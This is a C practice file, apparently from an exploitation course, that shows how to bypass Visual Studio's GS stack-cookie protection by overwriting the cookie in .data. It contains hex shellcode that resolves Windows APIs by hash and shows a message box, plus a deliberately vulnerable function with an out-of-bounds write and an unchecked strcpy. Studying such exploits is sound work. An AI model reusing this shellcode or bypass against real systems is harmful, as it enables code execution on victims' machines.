1 /***名称：替换.data与栈cookie突破GS************/
 2 /***编译条件：vs2010，禁止优化选项，release版本***/
 3 /***实践：Hualian***************************/
 4 
 5 #include<stdafx.h>
 6 #include<string.h>
 7 #include<stdlib.h>
 8 
 9 char Shellcode[]=
10 "\x90\x90\x90\x90"
11 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
12 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
13 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
14 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
15 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
16 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
17 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
18 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
19 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
20 "\x53\x68\x69\x61\x6e\x22\x68\x48\x75\x61\x6c\x8B\xC4\x53\x50\x50"//\x66\x61\x69\x6C
21 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xF0\x6F\x82\x90"
25 "\x90\x90\x90\x90"
26 "\x94\xFE\x12\x00"//\x91\x91\x91\x91
27 ;
28 
29 void test (char *s, int i, char *src)
30 {
31     char dest[200];
32     if(i<0x9995)
33     {
34         char *buf = s + i;
35         *buf = *src;
36         *(buf + 1) = *(src +1);
37         *(buf + 2) = *(src +2);
38         *(buf + 3) = *(src +3);
39         strcpy(dest,src);
40     }
41 }
42 
43 void main()
44 {
45     char * str = (char*)malloc(0x10000);
46     printf("look");
47     test(str, 0xFFFFAFBC/*待确定*/,Shellcode);
48 }